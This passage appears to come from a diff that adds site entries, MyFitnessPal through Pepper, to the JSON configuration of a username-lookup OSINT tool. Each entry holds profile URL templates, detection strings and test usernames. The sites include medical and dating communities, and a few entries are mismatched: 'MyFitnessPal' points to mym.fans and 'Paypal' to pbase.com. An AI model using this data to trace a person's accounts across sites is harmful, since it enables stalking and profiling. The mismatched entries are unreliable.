"noonewouldeverusethis7" + }, + "MyFitnessPal": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "meta name=\"robots\" content=\"index,follow\"/>" + ], + "url": "https://mym.fans/{username}", + "usernameClaimed": "Djelizamay", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MyMiniFactory": { + "tags": [ + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 17860, + "urlMain": "https://www.myminifactory.com/", + "url": "https://www.myminifactory.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mybuilder": { + "tags": [ + "gb", + "hk", + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 120038, + "urlMain": "https://www.mybuilder.com", + "url": "https://www.mybuilder.com/profile/view/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mydarling": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "http://mydarling.ru/", + "url": "http://mydarling.ru/page/{username}/frl-4", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 10282751 + }, + "Myjane": { + "tags": [ + "bg", + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " - \u0416\u0435\u043d\u0441\u043a\u0438\u0435 \u0444\u043e\u0440\u0443\u043c\u044b myJane" + ], + "alexaRank": 101251, + "urlMain": "http://forum.myjane.ru/", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mylespaul": { + "tags": [ + "cl", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 126443, + "urlMain": "https://www.mylespaul.com", + "url": "https://www.mylespaul.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Mylot": { + "tags": [ + "fr", + "in", + "pl", + "us" + ], + "checkType": "status_code", + "alexaRank": 102219, + "urlMain": "https://www.mylot.com/", + "url": "https://www.mylot.com/{username}", + "usernameClaimed": "just4him", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mylove": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 499216, + "urlMain": "https://lovetalk.ru", + "url": "https://lovetalk.ru/{username}/#window_close", + "usernameClaimed": "lisa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Myspace": { + "tags": [ + "blog" + ], + "checkType": "status_code", + "alexaRank": 1497, + "urlMain": "https://myspace.com/", + "url": "https://myspace.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mywed": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 107111, + "urlMain": "https://mywed.com/ru", + "url": "https://mywed.com/ru/photographer/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "N4g": { + "tags": [ + "gaming", + "news", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Member" + ], + "absenceStrs": [ + "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable." + ], + "alexaRank": 12402, + "urlMain": "https://n4g.com/", + "url": "https://n4g.com/user/home/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Naturalnews": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for cannot be found or is no longer available." + ], + "presenseStrs": [ + "All posts by" + ], + "url": "https://naturalnews.com/author/{username}/", + "usernameClaimed": "healthranger", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NICommunityForum": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "urlMain": "https://www.native-instruments.com/forum/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis", + "alexaRank": 13739 + }, + "Ninjakiwi": { + "checkType": "message", + "absenceStrs": [ + "Ninja Kiwi - Free Online Games, Mobile Games & Tower Defense Games" + ], + "presenseStrs": [ + "Ninja Kiwi" + ], + "url": "https://ninjakiwi.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NN.RU": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 21588, + "urlMain": "https://www.nn.ru/", + "url": "https://{username}.www.nn.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NPM": { + "tags": [ + "coding" + ], + "checkType": "status_code", + "alexaRank": 5944, + "urlMain": "https://www.npmjs.com/", + "url": "https://www.npmjs.com/~{username}", + "usernameClaimed": "kennethsweezy", + "usernameUnclaimed": "noonewould" + }, + "NPM-Package": { + "tags": [ + "coding" + ], + "checkType": "status_code", + "alexaRank": 5944, + "urlMain": "https://www.npmjs.com/", + "url": "https://www.npmjs.com/package/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nairaland Forum": { + "tags": [ + "ng" + ], + "checkType": "message", + "presenseStrs": [ + "Time registered" + ], + "absenceStrs": [ + "404: Page Not Found." + ], + "alexaRank": 1060, + "urlMain": "https://www.nairaland.com/", + "url": "https://www.nairaland.com/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NameMC": { + "tags": [ + "us" + ], + "regexCheck": "^.{3,16}$", + "checkType": "message", + "presenseStrs": [ + "Minecraft Profile" + ], + "absenceStrs": [ + "row align-items-center" + ], + "alexaRank": 11172, + "urlMain": "https://namemc.com/", + "url": "https://namemc.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Namepros": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 10494, + "urlMain": "https://www.namepros.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NationStates Nation": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "Was this your nation? It may have ceased to exist due to inactivity, but can rise again!" + ], + "alexaRank": 76848, + "urlMain": "https://nationstates.net", + "url": "https://nationstates.net/nation={username}", + "usernameClaimed": "the_holy_principality_of_saint_mark", + "usernameUnclaimed": "noonewould" + }, + "NationStates Region": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "does not exist." + ], + "alexaRank": 76848, + "urlMain": "https://nationstates.net", + "url": "https://nationstates.net/region={username}", + "usernameClaimed": "the_west_pacific", + "usernameUnclaimed": "noonewould" + }, + "NationalgunForum": { + "disabled": true, + "tags": [ + "ca", + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 939645, + "urlMain": "https://www.nationalgunforum.com", + "url": "https://www.nationalgunforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Naturalworld": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 287413, + "urlMain": "https://naturalworld.guru", + "url": "https://naturalworld.guru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "mrseo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Naver": { + "tags": [ + "kr" + ], + "checkType": "status_code", + "alexaRank": 40, + "urlMain": "https://naver.com", + "url": "https://blog.naver.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould" + }, + "Needrom": { + "checkType": "status_code", + "url": "https://www.needrom.com/author/{username}/", + "usernameClaimed": "needrom", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nekto": { + "tags": [ + "pt", + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "response_url", + "alexaRank": 68127, + "urlMain": "https://nekto.me", + "url": "https://nekto.me/{username}/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Neoseeker": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 15939, + "urlMain": "https://www.neoseeker.com", + "url": "https://www.neoseeker.com/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nesiditsa": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 121651, + "urlMain": "https://nesiditsa.ru", + "url": "https://nesiditsa.ru/members/{username}/", + "usernameClaimed": "lara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Netvibes": { + "tags": [ + "business", + "fr" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 5730, + "headers": { + "User-Agent": "curl/7.64.1" + }, + "urlMain": "https://www.netvibes.com", + "url": "https://www.netvibes.com/{username}#General", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NetworkInformatica": { + "tags": [ + "tech" + ], + "errors": { + "The site is undergoing planned maintenance activity and is unavailable temporarily.": "Maintenance" + }, + "checkType": "status_code", + "alexaRank": 25661, + "urlMain": "https://network.informatica.com", + "url": "https://network.informatica.com/people/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Newgrounds": { + "absenceStrs": [ + "icon-steam" + ], + "presenseStrs": [ + "user-header-name" + ], + "url": "https://{username}.newgrounds.com", + "urlMain": "https://newgrounds.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 5584, + "tags": [ + "art", + "forum", + "gaming" + ] + }, + "Newreporter": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 246874, + "urlMain": "https://newreporter.org", + "url": "https://newreporter.org/author/{username}/", + "usernameClaimed": "lilya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nhl": { + "tags": [ + "by", + "cn", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 29704, + "urlMain": "https://nhl.ru", + "url": "https://nhl.ru/talks/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Nick-name.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 286897, + "urlMain": "https://nick-name.ru/", + "url": "https://nick-name.ru/nickname/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Niketalk": { + "ignore403": true, + "tags": [ + "fashion", + "forum", + "sport", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 214717, + "urlMain": "https://niketalk.com", + "url": "https://niketalk.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nixp": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1754765, + "urlMain": "https://www.nixp.ru/", + "url": "https://www.nixp.ru/user/{username}", + "usernameClaimed": "fly4life", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nkj": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 72346, + "urlMain": "https://www.nkj.ru/", + "url": "https://www.nkj.ru/forum/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "No-jus": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 9593539, + "urlMain": "https://no-jus.com", + "url": "https://no-jus.com/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "dronaz", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Noblogs": { + "tags": [ + "blog" + ], + "checkType": "status_code", + "presenseStrs": [ + "activity-personal-li" + ], + "alexaRank": 113696, + "urlMain": "https://noblogs.org/", + "url": "https://noblogs.org/members/{username}/", + "usernameClaimed": "ushi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NotebookReview": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 48788, + "urlMain": "http://forum.notebookreview.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Numizmat": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://numizmat-forum.ru", + "url": "https://numizmat-forum.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "solo", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7081718 + }, + "NuviGarmin": { + "disabled": true, + "tags": [ + "forum", + "ru", + "shopping" + ], + "checkType": "message", + "alexaRank": 8450923, + "urlMain": "https://nuvi.ru/", + "url": "https://nuvi.ru/forum/user/{username}/", + "usernameClaimed": "VitaliyK", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nxp": { + "tags": [ + "be", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "No search results found." + ], + "alexaRank": 27704, + "urlMain": "https://community.nxp.com", + "url": "https://community.nxp.com/t5/forums/searchpage/tab/user?advanced=false&auto_complete=false&q={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nyaa.si": { + "checkType": "message", + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "'s torrents" + ], + "url": "https://nyaa.si/user/{username}", + "usernameClaimed": "kouhy76", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nygunforum": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1069970, + "urlMain": "https://nygunforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OK": { + "tags": [ + "ru" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_.-]*$", + "checkType": "status_code", + "alexaRank": 57, + "urlMain": "https://ok.ru/", + "url": "https://ok.ru/{username}", + "usernameClaimed": "ok", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Office-forums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 373573, + "urlMain": "https://www.office-forums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Offline.by": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 5846394, + "urlMain": "https://offline.by", + "usernameClaimed": "violetta", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oglaszamy24h": { + "checkType": "message", + "absenceStrs": [ + "Nieprawid\u0142owy link, w bazie danych nie istnieje u\u017cytkownik o podanym loginie" + ], + "presenseStrs": [ + "Profil u\u017cytkownika:" + ], + "url": "https://oglaszamy24h.pl/profil,{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oilcareer": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.oilcareer.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2233070 + }, + "Old-games": { + "tags": [ + "pt", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 104566, + "urlMain": "https://www.old-games.ru", + "url": "https://www.old-games.ru/forum/members/?username={username}", + "usernameClaimed": "viktort", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Olx.pl": { + "checkType": "message", + "absenceStrs": [ + "Przepraszamy, ale nie mo\u017cemy znale\u017a\u0107 takiej strony...", + "Nie znaleziono" + ], + "presenseStrs": [ + "Obserwuj wyszukiwanie" + ], + "url": "https://www.olx.pl/oferty/uzytkownik/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Omoimot": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 819273, + "urlMain": "https://omoimot.ru/", + "url": "https://omoimot.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OnanistovNet": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 160941, + "urlMain": "https://onanistov.net", + "url": "https://onanistov.net/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oncoforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "response_url", + "alexaRank": 427409, + "urlMain": "https://www.oncoforum.ru", + "url": "https://www.oncoforum.ru/blog/blogs/{username}/", + "usernameClaimed": "admin13", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Opelclub": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2894643, + "urlMain": "http://www.opelclub.ru", + "url": "http://www.opelclub.ru/forum/search.html?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OpenCollective": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Not found" + ], + "presenseStrs": [ + "Hero__StyledShortDescription" + ], + "alexaRank": 33595, + "urlMain": "https://opencollective.com/", + "url": "https://opencollective.com/{username}", + "usernameClaimed": "sindresorhus", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OpenStreetMap": { + "tags": [ + "maps" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 5487, + "urlMain": "https://www.openstreetmap.org/", + "url": "https://www.openstreetmap.org/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oper": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "alexaRank": 14170, + "urlMain": "https://www.oper.ru/", + "url": "https://www.oper.ru/visitors/info.php?t={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Oracle Community": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 464, + "urlMain": "https://community.oracle.com", + "url": "https://community.oracle.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Otechie": { + "tags": [ + "finance", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Start Conversation" + ], + "absenceStrs": [ + "Page not found!" + ], + "alexaRank": 1547027, + "urlMain": "https://otechie.com", + "url": "https://otechie.com/{username}", + "usernameClaimed": "neurobin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Otzovik": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1785, + "urlMain": "https://otzovik.com/", + "url": "https://otzovik.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Otzyvy": { + "tags": [ + "ru" + ], + "errors": { + "https://otzyvy.pro/captchacheck.php": "Site captcha" + }, + "checkType": "status_code", + "alexaRank": 90966, + "urlMain": "https://otzyvy.pro", + "url": "https://otzyvy.pro/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OurDJTalk": { + "engine": "XenForo", + "alexaRank": 1684108, + "urlMain": "https://ourdjtalk.com/", + "usernameClaimed": "steve", + "usernameUnclaimed": "noonewouldeverusethis", + "tags": [ + "forum", + "music" + ] + }, + "Ourfreedombook": { + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found" + ], + "presenseStrs": [ + "meta property=\"og:" + ], + "url": "https://www.ourfreedombook.com/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Outgress": { + "checkType": "message", + "absenceStrs": [ + "Outgress - Error" + ], + "url": "https://outgress.com/agents/{username}", + "urlMain": "https://outgress.com/", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Overclockers": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 25200, + "urlMain": "https://overclockers.ru", + "url": "https://overclockers.ru/cpubase/user/{username}", + "usernameClaimed": "Rasamaha", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ow.ly": { + "checkType": "message", + "absenceStrs": [ + "Oops, an error occurred" + ], + "presenseStrs": [ + "Images" + ], + "url": "http://ow.ly/user/{username}", + "usernameClaimed": "StopAdMedia", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "P38forum": { + "urlSubpath": "/forums", + "engine": "vBulletin", + "urlMain": "http://p38forum.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 8436107 + }, + "PCGamer": { + "tags": [ + "gaming", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "alexaRank": 1367, + "urlMain": "https://pcgamer.com", + "url": "https://forums.pcgamer.com/members/?username={username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PCPartPicker": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 4619, + "urlMain": "https://pcpartpicker.com", + "url": "https://pcpartpicker.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PRCY": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 21010, + "urlMain": "https://id.pr-cy.ru", + "url": "https://id.pr-cy.ru/user/profile/{username}/#/profile", + "usernameClaimed": "Elena", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PSNProfiles.com": { + "tags": [ + "gaming" + ], + "checkType": "response_url", + "alexaRank": 19795, + "urlMain": "https://psnprofiles.com/", + "url": "https://psnprofiles.com/{username}", + "errorUrl": "https://psnprofiles.com/?psnId={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis", + "disabled": true + }, + "Packagist": { + "tags": [ + "in", + "jp" + ], + "checkType": "response_url", + "alexaRank": 10849, + "urlMain": "https://packagist.org/", + "url": "https://packagist.org/packages/{username}/", + "errorUrl": "https://packagist.org/search/?q={username}&reason=vendor_not_found", + "usernameClaimed": "psr", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PacketStormSecurity": { + "tags": [ + "in", + "tr", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Files: All Authors ≈ Packet Storm", + "No Results Found" + ], + "alexaRank": 84296, + "urlMain": "https://packetstormsecurity.com", + "url": "https://packetstormsecurity.com/files/authors/{username}/", + "usernameClaimed": "3nitro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Painters-online": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "alexaRank": 1800109, + "urlMain": "https://www.painters-online.co.uk", + "url": "https://www.painters-online.co.uk/artists/{username}/", + "usernameClaimed": "alanbickley", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Paltalk": { + "tags": [ + "sa", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "

    Sorry, the profile you were looking for was not found

    " + ], + "presenseStrs": [ + ">Member since" + ], + "alexaRank": 29905, + "urlMain": "https://www.paltalk.com", + "url": "https://www.paltalk.com/people/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pandia": { + "tags": [ + "news", + "ru" + ], + "checkType": "status_code", + "alexaRank": 7801, + "urlMain": "https://pandia.ru", + "url": "https://pandia.ru/user/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Parkrocker": { + "tags": [ + "de", + "forum" + ], + "engine": "XenForo", + "urlMain": "https://www.parkrocker.net", + "usernameClaimed": "diablo0106", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5359908 + }, + "Partyflock": { + "tags": [ + "in", + "nl" + ], + "checkType": "status_code", + "alexaRank": 564516, + "urlMain": "https://partyflock.nl", + "url": "https://partyflock.nl/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Partyvibe": { + "disabled": true, + "tags": [ + "pk", + "us" + ], + "checkType": "status_code", + "alexaRank": 1234848, + "urlMain": "https://www.partyvibe.org", + "url": "https://www.partyvibe.org/members/{username}/", + "usernameClaimed": "p0ly", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pastebin": { + "tags": [ + "sharing" + ], + "checkType": "response_url", + "alexaRank": 2111, + "urlMain": "https://pastebin.com/", + "url": "https://pastebin.com/u/{username}", + "errorUrl": "https://pastebin.com/index", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pathofexile": { + "tags": [ + "ru", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile-details" + ], + "absenceStrs": [ + "Path of Exile" + ], + "alexaRank": 2392, + "urlMain": "https://ru.pathofexile.com", + "url": "https://ru.pathofexile.com/account/view-profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PatientsLikeMe": { + "tags": [ + "medicine", + "us" + ], + "checkType": "response_url", + "alexaRank": 178551, + "urlMain": "https://www.patientslikeme.com", + "url": "https://www.patientslikeme.com/members/{username}", + "usernameClaimed": "fabu007", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Patreon": { + "tags": [ + "finance" + ], + "checkType": "status_code", + "alexaRank": 304, + "urlMain": "https://www.patreon.com/", + "url": "https://www.patreon.com/{username}", + "usernameClaimed": "annetlovart", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Patronite": { + "checkType": "message", + "absenceStrs": [ + "Nie znale\u017ali\u015bmy strony kt\u00f3rej szukasz." + ], + "presenseStrs": [ + "Zosta\u0144 Patronem" + ], + "url": "https://patronite.pl/{username}", + "usernameClaimed": "radio357", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Paypal": { + "tags": [ + "finance" + ], + "checkType": "message", + "absenceStrs": [ + "PayPal.Me" + ], + "alexaRank": 13325, + "urlMain": "https://pbase.com/", + "url": "https://pbase.com/{username}/profile", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pbnation": { + "ignore403": true, + "disabled": true, + "tags": [ + "ca", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered" + ], + "alexaRank": 110875, + "urlMain": "https://www.pbnation.com/", + "url": "https://www.pbnation.com/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pedsovet": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7272, + "urlMain": "https://pedsovet.su/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PeopleAndCountries": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 1258464, + "urlMain": "http://peopleandcountries.com", + "url": "http://peopleandcountries.com/space-username-{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PeopleIgn": { + "tags": [ + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "title>IGN Error 404 - Not Found" + ], + "alexaRank": 542, + "urlMain": "https://people.ign.com/", + "url": "https://people.ign.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pepper": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + 